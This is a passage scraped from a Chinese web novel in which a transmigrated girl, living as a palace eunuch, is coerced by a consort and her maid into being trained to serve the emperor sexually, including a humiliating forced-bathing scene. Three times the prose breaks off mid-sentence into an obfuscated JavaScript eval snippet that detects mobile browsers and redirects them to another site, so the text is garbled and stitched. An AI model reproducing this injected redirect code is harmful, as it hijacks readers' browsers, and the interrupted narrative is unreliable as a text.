“我不是邪祟!”他眼神亮得惊人,像是抓住了救命稻草,又像是终于找到了一个可以宣泄的出口,不管不顾地低喊出来,“我也不知道我是怎么来的!我醒过来,就在停尸房,就成了这样,我不属于这里,我真的想回去!想回家!回我该去的地方!” 他紧紧反握住楚玉扣着他手腕的手,语速快得近乎癫狂:“楚玉,你帮帮我,你既然看得出来,你一定有办法对不对?或者你告诉我,宫里有没有记载过类似的事?有没有人回去过?” 楚玉被他眼中的期盼烫得手指一颤,想要甩开他。回去?回哪里去?一个借尸还魂的孤魂,还想回到原来的身体?简直是痴人说梦,这深宫之中,只有吞噬,没有归途。 可看着他因为激动而泛起的病态潮红,看着他眼中那簇拼命燃烧,注定无望的火焰。 她忽然想起多年前,自己也曾用这样不甘的眼神,仰望过无法逾越的宫墙。她闭了闭眼,再睁开时,眸中只剩下深不见底的寒潭。 “没有。”她斩钉截铁,声音冷得没有一丝温度,“我朝禁绝巫蛊妖邪,宫中更视此为禁忌。从未有记载,也绝不可能有。所有不一样的东西,最终的下场,都是被清理得干干净净,仿佛从未存在过。” 她用力,一根一根掰开关禧死死攥着她的手指,那力道不容抗拒。 “你听好了,不管你是谁,从哪里来,既然进了这具身子,成了小离子,你就只有这一条路可走——当好你的小离子,办好娘娘的差事,养好你的身体。别再想那些虚无缥缈的东西,也别再试探我的底线。” 关禧的手指被强行掰开,脱力地垂落在地,指尖还残留着衣料的触感,他看着楚玉决绝的脸,眼中的火光一点点熄灭,只剩下无边的灰暗和死寂,刚刚升起的那点微末希望,被她亲手掐灭,比从未有过更让人绝望。 “所以,”他喃喃着,“无论如何,我都只能等着被送去侍寝,是吗?” 最后两个字,他说得极其艰难。 楚玉背对着他,身形僵了一瞬。她没有回答这个问题,弯腰捡起地上之前打翻的碎碗片,随手丢到墙角。 “我会让人再送吃的和药来。你若再不吃,我就真叫人灌了。小离子,想想你现在的样子,连站都站不稳,除了听话,你还有什么资格谈条件?” 她走到门口,手搭在门闩上,背对着地上那个仿佛被抽走了所有生气的影子,沉默了片刻。 丢下了一句话: “至少活着……活着,或许还能看到明天的太阳。死了,就真的什么都没了,包括你那些不一样的念想。” 说完,她拉开门,身影没入门外渐浓的夜色中,没有再回头。 门轻轻合拢,将一室冰冷和绝望重新锁在关禧周围。 他瘫坐在地上,背靠着床沿,久久没有动弹。 楚玉的话像最后的判决,封死了他所有幻想的退路。回去是痴心妄想,死亡亦不被允许。他只能在这具残缺的躯壳里,清醒地,一步步走向那个被安排好的屈辱终点。 可是…… 他缓缓抬起手,看着自己苍白瘦削,还在微微颤抖的手指。 楚玉最后那句话,是什么意思?仅仅是劝他苟活?还是……一丝极其隐晦,连她自己都未必承认的松动? “活着,或许还能看到明天的太阳……” 关禧低低地重复了一遍,嘴角扯出一个比哭还难看的弧度。 他慢慢撑着床沿,用尽全身力气,极其艰难地,一点一点,重新挪回了床上。每动一下,都牵扯着虚弱的身体和未愈的伤口。 躺回被褥里,他睁着眼,望着黑漆漆的屋顶。 绝食求死,看来是行不通了。楚玉说到做到,她真的会叫人灌他。那样更屈辱,而且死不了。 或许……她是对的? 至少活着。 活着,才能记住自己是谁。活着,才有可能……抓住那渺茫到几乎不存在的变数? 不知过了多久,门外再次响起脚步声。这次不是楚玉,是那个每日送饭的小太监,端着一碗新熬的,热气腾腾的米粥和一碗黑乎乎的汤药,小心翼翼地放在桌上,又偷偷看了一眼床上睁着眼面色灰败的关禧,不敢多言,匆匆退下。 关禧盯着那碗粥看了很久,直到热气渐渐稀薄。 最终,他极其缓慢地,伸出手,端起了那碗已经微温的粥。 勺子碰到碗沿,发出轻微的叮当声。 他舀起一勺,送入口中。温热的稀粥滑过干涩灼痛的喉咙,落入空荡荡的胃里。 味道很淡,甚至有些寡味。 但他一口一口,将那碗粥喝得干干净净。 然后,是那碗苦得让人皱眉的汤药。 药汁入腹,带来一阵暖意,也伴随着更深的疲惫和眩晕。 他放下空碗,重新躺下,闭上眼。 眼泪,从眼角滑落,没入鬓边。 认命了。 或者更准确地说,他把回去这个念头,像最见不得光的秘密,深深埋进了心底最深处,盖上厚厚的土,再覆上名为“活下去”的石板。 既然死不了,也回不去,那就先活着吧。 至少,得有力气活着。 第二日清晨,当小太监再次端着米粥和汤药进来时,看见的不再是床上那具毫无生气的躯壳,而是一个已经自己坐起来,背靠着墙,面色苍白,眼神有了些微不同的人。 关禧接过粥碗,安静地吃完,连碗底都刮得干干净净,然后端起药碗,眉头都没皱一下,一饮而尽。 他把空碗递回去,“告诉青黛姐姐,药喝完了。” 小太监愣了愣,连忙应下,端着空碗退了出去。 楚玉很快来了。她站在门口,看着靠在床头闭目养神的关禧,目光在他脸上停留片刻,确认他不是在装模作样,眼神几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985574|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可察地松了一瞬,吩咐小太监按时送饭送药,便转身离开。 接下来的日子,关禧开始了真正意义上的养身体。 他不再抗拒送来的任何食物。起初只是流食,后来渐渐有了软烂的米饭,炖得酥烂的肉糜,清爽的菜叶。只要是能入口的,他都一点不剩地吃下去。那具年轻却饱经摧残的身体,如同久旱逢甘霖的土地,开始贪婪地吸收着每一分营养。 药也按时喝。张太医调整了方子,从最初的猛药吊命,到后来的温和调理。关禧从不问里面是什么,端起来就喝。玉露生肌散也开始每日两次外敷。那狰狞红肿的伤口,在药物和营养的共同作用下,终于开始真正地收敛,愈合,留下浅粉色的新肉。 身体稍微有了力气,他就不再满足于整日躺着。 小屋太小,伸展不开。但只要天气好,阳光充足,他就在屋前的廊下,扶着柱子,慢慢走动。从门口到廊庑尽头,不过十几步,最初走一个来回就气喘吁吁,冷汗涔涔。他不肯停,歇一会儿,再走。后来能走十个来回,二十个来回。 等脚步稳了,他开始尝试更温和的活动。清晨空气清冽时,他会找一片无人的角落,缓慢地伸展手臂,活动脖颈和腰肢,都是些从现代记忆中翻找出来的,最基础的拉伸动作。不敢太剧烈,怕牵扯到未愈的伤口,也怕引人注目。 营养跟上,活动量增加,年轻身体的恢复能力开始显现。 凹陷的脸颊渐渐饱满起来,不再是那种死气沉沉的灰败,透出一点玉质的光泽。最明显的是眼神,不再空洞涣散,尽管深处依旧沉淀着化不开的沉郁,但至少有了焦距,看人时,那双潋滟的丹凤眼会微微转动,映出些许光影。 夏季在不知不觉中过去,蝉鸣渐歇,早晚的风里带上了凉意。 当第一片梧桐叶开始泛黄时,关禧下面的伤,终于好得差不多了。张太医最后一次来看诊,仔细检查后,点了点头:“伤口愈合良好,皮肉平整,只是新肉娇嫩,还需注意,莫要摩擦碰撞。气血也补回来不少,脉象平稳有力多了。” 关禧安静地听着,心里没什么波澜。好了,意味着有用了,也意味着离某些事情更近了。 或许是因为彻底放下心结,又或许是培元固本的药方开始起效,亦或是这具身体原本就处在抽条的年纪,关禧的变化越发明显。 他长高了些许,原本合身的靛青色太监服,袖口和裤脚都显得有些短了。肩膀也宽了一点点,不再是虚弱无力的嶙峋,有了骨架撑起的挺拔。最让他自己都感到诧异的是,某次沐浴后对镜擦拭,竟在平坦紧实的小腹上,隐约看到了肌肉的轮廓,那是这段时间坚持活动和充足营养的意外馈赠。 脸的变化更微妙。少年人的稚气在病弱褪去后消散了些,面部线条更加清晰。眉目精致得过分,但或许是因为眼神沉淀了太多东西,那份精致不再显得柔弱,透出一种介于少年与青年之间模糊性别的清冷感。嘴唇有了血色,是淡淡的绯色,不说话时微微抿着,唇角自然下垂,带着一种拒人千里的疏离。 他整个人,就像一枚被精心拭去尘埃的冷玉,在秋日疏淡的光线下,散发着内敛而冰凉的光泽。 这日午后,秋阳暖融融地照进书斋。 关禧正在整理一批新送来的宫外采买账目,神情专注,侧脸在光线下线条明晰。 冯媛由楚玉陪着走进来,目光不经意地扫过关禧。 关禧闻声立刻起身,垂首行礼,身姿笔挺,肩背舒展,恭敬地微躬着,再无往日那种瑟缩畏怯之态。 “奴才给娘娘请安。” 声音清朗了些,虽仍带着太监特有的细柔,却不再气弱。 冯媛脚步微顿,视线在他身上停留了一瞬,比平时略长了一两秒,才淡淡“嗯”了一声,走到主位坐下。楚玉垂眸立于她身侧,眼观鼻鼻观心,仿佛未曾察觉那一瞬间的凝滞。 “账目核对得如何了?”冯媛问,语气如常。 38.第 38 章 关禧一一禀报,条理清晰,数字准确。 冯媛听着,指尖无意识地摩挲着腕上一只翠玉镯子,目光再次飘向垂首立在下方的少年。阳光勾勒出他挺直的鼻梁和长长的睫毛,投下淡淡的阴影。那身略显短小的太监服,勾勒出窄瘦的腰身和逐渐展开的肩线。 年轻,健康,带着一种未经人事又沉静冷冽的矛盾气质,偏偏又顶着一张足以令人失神的脸。 冯媛端起茶盏,轻轻吹了吹浮沫。皇帝不好女色,她入宫这些年,早已心知肚明。所谓协理六宫,昭仪尊位,不过是家族势力与皇帝制衡后宫的需要,与男女之情无关。这深宫长夜,寂寞如雪,她早已习惯,也善于用理智和权谋将那些属于女人的渴望深深冰封。 可眼前这个……算是男人吗?不完整,身份卑贱,是棋子,是器物。但他确实年轻,鲜活,有着介于男女之间的独特吸引力,而且就在她触手可及的地方。 一种极其隐秘,连她自己都未必愿意承认的念头,像水底的暗流,悄无声息地涌动了一下。 “培元固本的药,开始用了吗?”她忽然问,声音听不出情绪。 关禧垂首答道:“回娘娘,张太医说外伤已愈,三日前已开始服用新方。” “嗯。”冯媛放下茶盏,发出一声轻响,“陛下日理万机,但总有闲暇之时。既然王公公当初将你送进来,陛下也过问过,有些事,便需早做准备。” “你这身子既然养好了,该学的规矩,该懂的事,就不能再耽搁。免得日后……到了御前,手足无措,失了体统,也辜负了本宫一番调理之心。” 关禧的手指在袖中悄然握紧,指甲掐进掌心,传来清晰的痛感。 “娘娘教诲,奴才谨记。”他声音平稳,听不出波澜。 冯媛看了他片刻,轻轻笑了一声,“光谨记可不够。有些事,纸上谈兵终是浅。需得实地演练一番,方知深浅,也免得临场生怯。” 她端起茶盏,又抿了一口,语气恢复了那种从容淡然的吩咐口吻,仿佛在说一件再寻常不过的差事: “这样吧,从明日起,除了书斋的差事,晚膳后,你到西暖阁来。本宫让青黛……或是宫里别的妥帖人,先教教你,该如何伺候。总得先练练手,熟悉熟悉,才知道到了陛下面前,该如何行事,才不算辱没了承华宫的名头,也才对得起……你这张脸,和本宫这些时日的悉心栽培。” 西暖阁。晚膳后。练练手。伺候。 每一个词,都像淬了毒的针,扎在关禧紧绷的神经上。 冯媛的意思,再明白不过。皇帝不好女色,却有召幸内侍的癖好。她作为协理六宫,又保管着皇帝感兴趣之人的妃嫔,有责任确保这件礼物符合标准,甚至……提前验看,调试,确保万无一失。 而练手的对象,可以是楚玉,也可以是宫里别的妥帖人。这是在告诉他,在承华宫内,他必须服从,必须学会取悦,无论是为了应付皇帝,还是……应付她此刻难以言说的心思。 “是。”他从牙缝里挤出这个字,声音低哑,“奴才遵命。” 冯媛满意了,挥了挥手:“下去吧。好好准备。” 关禧躬身,一步步退出书斋。 楚玉自始至终沉默地站在冯媛身侧,没有表情。只是在关禧转身退出时,她的目光极快地掠过他僵硬的背影,眼底深处,一丝极其复杂的暗流涌过,快得让人抓不住。 关禧的背影消失在书斋门外,那抹靛青色融入廊下渐浓的秋意,最后一点衣角也看不见了。 书斋内重归寂静,只余窗外偶尔掠过的风声,和香炉里迦南香细密燃烧的噼啪微响。午后的光线斜斜照入,在光洁的金砖地上投下长长的窗格影,也将冯媛端坐的身影勾勒得格外清晰,半边沐在光里,半边隐在暗处。 楚玉垂手立在冯媛身侧一步之遥,眼观鼻,鼻观心,只有那微微蜷起,藏在袖袍中的指尖,泄露了一丝极细微的紧绷。 “青黛。你觉得,小离子近来如何?”冯媛忽然开口,伸出保养得宜染着淡淡蔻丹的手指,轻轻拂过方才关禧呈上核对完毕,墨迹已干的账册边缘,动作慢条斯理。 楚玉眼帘微抬,视线落在冯媛优雅的侧脸上,语气平稳无波:“回娘娘,他伤势已愈,身子调理得不错,做事也算勤勉妥当。” “只是勤勉妥当?”冯媛侧过头,目光转向楚玉,唇角含着一丝极淡的笑意,那笑意却未达眼底,“本宫瞧着他,倒像是脱胎换骨了一般。不仅身子骨长开了,连气度也沉稳了不少。方才回话时,不卑不亢,倒有几分模样了。” 楚玉心中一凛,“是娘娘调理得当,恩威并施,他自然知道分寸进退。” “知道分寸?”冯媛重复,指尖在账册上敲了敲,发出极轻的笃笃声,“只怕有时候,知道的太多了,反而不是好事。又或者……是有人教得太好,让他生出了不该有的倚仗?” 这话里的机锋,已有些露骨。 楚玉立刻屈膝,深深福礼下去,声音带上了恰到好处的惶恐:“奴婢不敢。教导下人谨守本分,是奴婢分内之事。小离子若有任何行差踏错,皆是奴婢督导不力,请娘娘责罚。” 冯媛没有叫起,任由楚玉保持着屈膝的姿势。她的目光在楚玉纹丝不乱的发髻和挺直的背脊上缓缓扫过,像是在审视一件熟悉的器物,看看是否有哪里出现了细微的裂痕。 “起来吧。”片刻后,她才淡淡道,“你做事,本宫向来是放心的。只是……”她顿了顿,端起手边微凉的茶盏,指尖摩挲着温润的瓷壁,“人心难测,尤其是这般年纪,又生了那样一副模样。有时候,旁人待他稍稍和颜悦色些,他便容易忘了自己的根本,生出些……不切实际的念想。你说是吗,青黛?” 楚玉直起身,垂眸应道:“娘娘明鉴。奴婢定会时时提点,让他牢记自己的身份,绝不敢有半分逾越。” “提点?”冯媛抿了一口茶,将茶盏轻轻搁回桌上,发出一声清脆的磕碰声,“有些事,恐怕不是提点就能管用的。本宫看他,对你倒是格外信服?”最后两个字,她说得又轻又慢,尾音微微上挑。 楚玉背脊的线条几不可察地僵硬了一瞬,旋即恢复:“奴婢不过是奉娘娘之命行事,严加管束罢了。他畏惧娘娘天威,自然对奴婢也不敢违逆。” “畏惧?”冯媛轻笑一声,那笑声里听不出什么温度,“本宫怎么觉得,他看你的眼神,不止是畏惧呢?那晚在浴堂……还有后来他病中,你往来照拂,他可都记在心里。” 楚玉的心猛地一沉。浴堂那晚的变故,娘娘果然知道了。是陈立德?还是其他耳目?她早该料到,在这承华宫,没有什么能真正瞒过冯媛的眼睛。 “浴堂那晚,是奴婢疏忽,未能及时察觉他竟敢暗中窥探,惊吓了娘娘。事后已严加惩戒。至于病中照拂,亦是奉娘娘之命,不敢不尽心。若因此让他有所误会,是奴婢处事不当,请娘娘降罪。” 冯媛静静地看了她一会儿,目光锐利,似乎要穿透她冷静的表象,直看到内里去。 良久,她才缓缓移开视线,重新落在窗外一株开始落叶的梧桐上,语气恢复了那种闲谈般的淡然:“罢了,都是过去的事了。本宫并非怪你。你做事有分寸,懂得何时该严,何时……该松。只是,青黛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989727|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,” 她再次唤她的名字,这一次,声音里带上了某种更深沉的东西,像是一种提醒,也像是一种警告。 “你要记住,他是陛下问过的人,是王元宝精挑细选送进来的礼物。他的去处,他的用处,早已注定。承华宫留他,是机缘,也是筹码。我们可以打磨他,调理他,让他更光亮,更趁手,但绝不能让这物件……生了不该有的心,或者,让旁人对他生了不该有的心。” “尤其是你,青黛。你是我最倚重的人,是我在这深宫里,唯一能说几句体己话的人。我们的路还长,需要步步为营,容不得半点行差踏错,更容不得……为了一件注定要献出去的器物,乱了心神。” 这话已经说得再明白不过。冯媛在敲打她,警告她,不要对小离子投入超出界限的关注,不要因为那点异常的心思,影响了她们主仆二人的大局。 楚玉感到一股寒意从脚底升起,蔓延至四肢百骸,她再次深深福礼,头垂得更低:“娘娘教诲,奴婢字字铭记在心。奴婢的一切都是娘娘给的,自当以娘娘为先,以大局为重。绝不敢因任何外物……乱了本分,坏了娘娘的大事。” 冯媛看着她恭顺无比的姿态,眼中的锐利渐渐缓和,重新蒙上一层温婉的薄纱。她伸手,虚扶了楚玉一下。 “本宫知道你的忠心。”她语气转柔,“起来吧。方才说的,让你晚膳后教导他的事,你可听明白了?” 楚玉直起身,脸上已看不出丝毫异样,只有绝对的恭顺:“奴婢明白。定会好好教导他,宫中规矩,御前仪注,以及该如何尽心伺候。” “嗯。”冯媛满意地点点头,指尖无意识地拨弄了一下腕上的玉镯,“陛下虽有些特别喜好,但毕竟是天子,规矩体统一样不能少。你要教得仔细些,让他知道,能得陛下青眼,是天大的恩典,该如何感恩,如何承欢,如何让陛下……满意。” 每一个词,都像烧红的针,刺在楚玉早已麻木的心上,可她脸上依旧平静无波。 “是,奴婢一定悉心教导,让他不负娘娘期望。” “好了,这里没你的事了。去准备吧。”冯媛挥了挥手,重新拿起一本账册,仿佛刚才那番暗流涌动的对话从未发生。 楚玉应声,躬身退出了书斋。 直到走出很远,走到回廊拐角无人处,她才停下脚步,背靠着冰冷斑驳的朱红廊柱,深深地吸了一口秋日微凉的空气。 指尖传来的刺痛让她低头,这才发现,不知何时,指甲已深深掐进了掌心,留下几个月牙形的血痕。 冯媛的试探和警告犹在耳边。她看得分明,娘娘不仅要将小离子送上龙床,还要亲手折断任何可能附着在那少年身上不属于器物范畴的枝蔓,包括她楚玉那点未曾言明,甚至自己也未必肯承认的异常关注。 教导他如何伺候皇帝…… 楚玉闭上眼,脑海中浮现出少年苍白却难掩昳丽的侧脸,那双偶尔会流露出不甘惊惶或脆弱的凤眼,以及……那晚浴堂氤氲水汽中,他自厌的一拳。 心口某个地方,传来一阵细密的抽痛。 但仅仅是一瞬。 再睁开眼时,那双眸子已恢复了古井无波的沉静,深不见底,将所有翻涌的情绪彻底掩埋。 她整理了一下毫无褶皱的衣襟,挺直背脊,朝着自己住处方向走去,脚步平稳,没有丝毫迟疑。 既然这是娘娘的命令,是注定要走的路。 那么,她便来做这个教导的人。 亲手,将他打磨成最符合陛下心意的礼物。 也亲手,掐灭自己心底那点不合时宜,危险的星火。 39.第 39 章 晚膳的钟点刚过,承华宫后院的膳棚还残留着饭菜气味与人声余韵。 关禧没什么胃口,只草草扒了几口,便起身将碗筷放回。 邻桌的太监们偷偷觑着他,眼神复杂。 自打他从那场重病中恢复,整个人就像褪去一层旧壳,那苍白面容下透出的沉静,以及日渐挺拔的身姿,都让他在这群灰扑扑的底层内侍中显得格格不入。加上冯昭仪明显的青眼和书斋的清贵差事,暗地里的艳羡与嫉恨,只多不少。 关禧刚走出膳棚不远,一道淡青色的身影便悄无声息地拦在了前路。 “娘娘吩咐,从今晚开始。”楚玉的声音没有起伏,眼神平静地看着他,“跟我来。” 周围隐约投来的视线瞬间变得灼热起来,夹杂着窃窃私语。 关禧下颌微微绷紧,点了点头,跟在她身后半步远的位置。 两人一前一后,穿过逐渐昏暗下来的庭院回廊。不是回西厢小屋的方向,也不是去书斋。 关禧的心一点点沉下去,某个猜测越来越清晰。 果然,楚玉带着他,走向了承华宫后方那处他既熟悉又充满梦魇的浴堂。 夜幕低垂,浴堂小院里只悬着一盏孤灯,在秋风中微微晃动。里面没有点亮太多的灯火,只内间浴池方向透出昏黄温暖的光晕,驱散了些许门口的黑暗。 楚玉推开门,氤氲的水汽混合着清雅的檀香扑面而来。外间已经备好了干净的浴巾,香膏,澡豆,还有一套月白色,质地异常柔软轻薄的崭新绸衣,整齐叠放在紫檀木衣架上。那衣裳的样式,分明不是日常太监或宫女的服饰,倒有几分像……寝衣,却又更透,更暧昧些。 关禧的脚步在门口顿住,胃里一阵翻搅。 “进去。”楚玉的声音在身后响起,不容置疑。 他深吸一口气,迈过门槛。楚玉反手关上了门,将秋夜的凉意与可能窥探的目光都隔绝在外。 “沐浴净身,是第一道规矩。”楚玉走到他面前,目光落在他紧抿的唇和僵硬的肩线上,“陛下爱洁。” 关禧扯了扯嘴角,没说话。 “把衣服脱了。”楚玉的语气像是在吩咐一件再寻常不过的差事。 关禧的手指蜷缩了一下,然后抬起,开始解外袍的系带,动作很慢。外袍,中衣……一件件褪下,堆叠在脚边。直至只剩下最贴身的亵裤。 秋夜的空气带着浴堂特有的潮湿温暖,拂过他裸露的皮肤,激起一层细小的战栗。那具年轻的身体确实养好了许多,瘦削却不嶙峋,肌肤是久不见光的冷白,在昏黄光线下像上好的瓷器,肩线平直,腰身窄瘦,双腿笔直修长。只是胸口平坦,下身被亵裤遮掩的部位,依旧昭示着他残缺的身份。 楚玉的目光就像冰冷的尺,一寸寸丈量过去,没有停留,也没有波澜,“继续。” 关禧闭了闭眼,手指勾住亵裤边缘,褪了下去。彻底暴露在空气与灯光下。新生的皮肉颜色浅淡,疤痕平整,但终究与周围不同。他死死垂着眼,不敢看楚玉,也不敢看水中自己扭曲的倒影。 楚玉对他的僵硬和羞耻视若无睹。她走到浴池边,试了试水温,然后拿起一块柔软的布巾,浸入温度适宜的香汤中。 “过来。” 关禧像是提线木偶,挪到池边。 楚玉就着他站立的姿势,用浸湿的布巾,开始擦拭他的身体。从脖颈开始,沿着锁骨,到肩胛,手臂……她的动作并不温柔,甚至有些公事公办的利落,布巾擦过皮肤,带起细微的摩擦感。 “伺候陛下,首要的是顺服。陛下不喜扭捏作态,也不喜过于木讷。”她的声音近在耳畔,平铺直叙,像在背诵条文,“你的眼睛,不能直视天颜,但也不能总是看着地面。视线最好落在陛下胸前衣襟以下,膝头以上的位置,显得恭敬,又不呆板。” 布巾滑到胸前,平坦的肌肤被温水浸润,泛起淡淡的粉色。关禧的身体绷得像一块石头。 “手要稳,动作要轻。陛下若让你近身伺候,解衣、系带、递物,都需无声无息,恰到好处。”楚玉绕到他身后,布巾擦过脊椎的凹陷,激起他一阵难以抑制的轻颤,“紧张是难免的,但不可抖得太厉害,惹陛下心烦。” 她的指尖偶尔会隔着布巾触碰到他的皮肤,微凉,当布巾擦拭到腰侧,缓缓向下时,关禧终于忍不住,向旁边躲了一步,“够了!” 楚玉的动作顿住,抬眼看他。昏黄光线下,她脸上没什么表情,那双眼睛深不见底。 “这就受不了了?”她问,语气平淡得刺人,“这不过是最基本的清洁。真正伺候的时候,比这……” “我说够了!”关禧打断她,胸口剧烈起伏,苍白的脸上因为激动和羞愤染上不正常的红晕,“楚玉,你这么熟练,是伺候过多少回?冯昭仪让你教导,你就真把自己当成了教习嬷嬷?还是说,你其实很享受这个过程?享受摆弄一个太监?” 他的话像淬了毒的针,狠狠扎过去。 楚玉的眼神骤然冷了下去,捏着布巾的手指收紧,指节泛白。 “你说什么?”她的声音压得很低。 “我说,”关禧豁出去了,迎着她冰冷的视线,嘴角扯出一个讥诮的弧度,“我不想让你教。换个人。陈立德,或者其他哪个老太监,都行。反正都是学怎么伺候人,谁教不是教?何必劳烦您楚玉姑娘亲自动手?您这双手,”他的目光扫过她握着布巾的手,“不是该伺候冯昭仪,或者规划更大局的事情么?” 每一个字都充满了挑衅。他受够了,受够了这种被当成物品般审视摆弄的感觉,更受够了执行这教导的人是她。这让他觉得自己那点可笑又可悲的隐秘心思,连同最后一点尊严,都被扔在地上反复践踏。 楚玉静静地看了他几秒,忽然松开了手,湿漉漉的布巾“啪”地一声掉落在光洁的地面上,溅开一小片水渍。 “换人?”她轻轻重复,向前走了一步,逼近关禧。 两人之间的距离瞬间缩短,关禧能闻到她身上那股清冽又带着浴堂水汽的味道,能看见她眼中自己狼狈又倔强的倒影。 “小离子,”她叫他的名字,声音冷得像浸过寒潭,“你以为你是什么东西?有什么资格挑三拣四?娘娘让我教,是因为我最清楚陛下的喜好,最明白该怎么让你……派上用场。换别人?陈立德?他知道陛下是喜欢人主动些,还是矜持些?知道触碰的界限在哪里?知道怎么在承欢时,既让陛下尽兴,又不过分越矩惹来厌弃?” 她的每一句质问,都像鞭子抽在关禧心上,将他那点可怜的抗拒抽得七零八落。 “还是说,”楚玉的目光锐利如刀,刮过他因为愤怒和羞耻而泛红的脸颊,脖颈,最终落在他紧握的拳头上,“你只是不想让我碰你?觉得被我教导,是玷污了你?让你想起自己那些不该有的、龌龊的心思了?” 关禧的脸色涨红,他像被踩了尾巴的猫,几乎要跳起来:“你胡说!” “我是不是胡说,你心里清楚。”楚玉寸步不让,“在浴堂门口提着灯问你愿不愿意留下的是谁?让你私下叫名字的是谁?你病得要死的时候,一遍遍送药过来的是谁?小离子,我给过你机会,也给过你警告。是你自己,一次次分不清界限,抱有不切实际的幻想。” 她抬手,冰凉的指尖猝不及防地触碰到关禧的下颌,迫使他低下头,直面自己眼中那片汹涌却极度压抑的暗流,“现在,梦该醒了。娘娘把你交给我教导,就是要让你我都看清楚,你到底是什么,该往哪里去。乖乖学,至少还能少受点罪。再摆出这副宁死不屈的嘴脸……”她顿住了,没有说下去,但未尽之言比任何威胁都更具压迫感。 关禧被她钳制着,浑身颤抖,不知是气是恨还是绝望。 楚玉凝视着他眼中逐渐熄灭的光,心底某个角落传来难以察觉的抽痛。但很快,那痛楚便被更坚硬的冰层覆盖。 她松开了手,退后半步。 “把自己洗干净。”她转过身,不再看他,声音恢复了那种平淡无波的吩咐口吻,“香膏要抹匀,尤其是伤处附近,新肉娇嫩,需用香膏仔细养护,不能留任何异味。那套月白绸衣,沐浴后换上。我会在外间等你。” 说完,她径直走向外间,只留下一个决绝的背影。 关禧僵立在原地,温热的香汤蒸汽萦绕着他冰冷的身体。地上那块湿布巾像一团肮脏的抹布。他缓缓蹲下身,捡起布巾,指尖触及那湿冷的柔软,又像被烫到一样松开。 最终,他还是机械地挪到池边,跨入温度适宜的香汤中,将自己沉入水下,任由温暖的液体淹没口鼻。 水波晃动,倒映着穹顶昏暗的灯光。 关禧沉在池底,耳边是水流沉闷的嗡鸣,隔绝了外间所有的声响。水波轻轻晃动,透过眼皮能感受到头顶灯光破碎摇曳的晕影,像一场荒诞迷离的梦。肺部的空气在迅速消耗,传来灼痛的压迫感,他却不想立刻浮上去。 就这样沉下去,会不会简单点? 这个念头只闪过一瞬,便被更强大的生理本能和心底那股顽劣的不甘狠狠掐灭。他猛地蹬腿,破水而出,“哗啦”一声,带起大片水花。他趴在光滑的池沿上,剧烈地咳嗽,喘息,水珠顺着湿透的黑发和苍白的脸颊成串滚落,分不清是浴汤还是别的什么。 没招了。 他抬起手,抹了把脸,靠坐在池边,温热的水流包裹着身体,那套楚玉指定,带着清雅檀香的香膏就放在触手可及的玉碗里。 他舀起一勺,乳白色的膏体在指尖融化,细腻滑润。他机械地将它涂抹在手臂,肩颈,胸口……动作规范,符合教导。 可思绪却像脱缰的野马,冲破了浴堂氤氲的水汽,冲向了更荒诞,更让他恶心又不得不直面的事实。 伺候皇帝。 这四个字像四把生锈的钝刀,反复切割着他来自二十一世纪的神经。他是关禧,十七岁,女生,喜欢香香软软的女孩子,会在深夜偷偷刷百合漫画露出姨母笑。 他最大的烦恼是数学卷子最后一道大题和高考倒计时,而不是如何在一个架空王朝的后宫里,用自己的男性身体去取悦另一个男人。 这算什么?终极形态的OOC?还是地狱笑话现实版? 他甚至苦中作乐地想,如果穿越成妃嫔,至少生理性别一致,恶心归恶心,起码硬件匹配。现在呢?灵魂是女,壳子是男,服务对象是男,性取向是女……这混乱的排列组合,足以让任何一本耽美或百合小说作者CPU烧干。 而且,皇帝……萧衍。 上次短暂的面圣,虽然吓得魂飞魄散,但某些细节却像用刻刀划在了记忆里。年轻,身材高大,面容周正,甚至称得上威严,有种久居上位的疏离感。最重要的是气质,冰冷,淡漠,审视物品般的目光。 那绝对不是一个耽美小说里会描述带有某种暧昧阴柔或狂热占有欲的帝王攻或美人受的气质。关禧脑内飞快闪过看过的无数小说和漫画形象,萧衍更像一个纯粹的权力符号,一个对收集和使用某些特殊物品有兴趣的收藏家。他的兴趣点,可能不在于情爱或欲望本身,而在于拥有和支配带来的掌控感。 那么问题来了,如果皇帝是这种心态,他会在使用过程中,扮演什么角色? 关禧的目光不由自主地投向水中自己模糊的倒影。水波荡漾,那张脸被扭曲得愈发柔媚,湿发贴在颊边,脖颈修长,肩膀单薄,腰线在水下若隐若现……就算他灵魂再抗拒,也不得不承认,小离子这具皮囊,经过这段时间的精心饲养和调理,确实越来越贴近某种刻板印象,纤细,苍白,精致,带着一种易碎又诱人摧折的阴柔美。 这不活脱脱就是那些小说里标准的美人受模板吗?! 所以,大概率……皇帝是上面那个? 这个认知让他胃里一阵翻江倒海,比刚才被迫沐浴时更甚。不是因为他歧视或无法理解,而是这种预设,被物化,单方面承受的位置,彻底碾碎了他最后一点关于或许可以糊弄过去的侥幸。 他仿佛已经能看到那威严的君王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 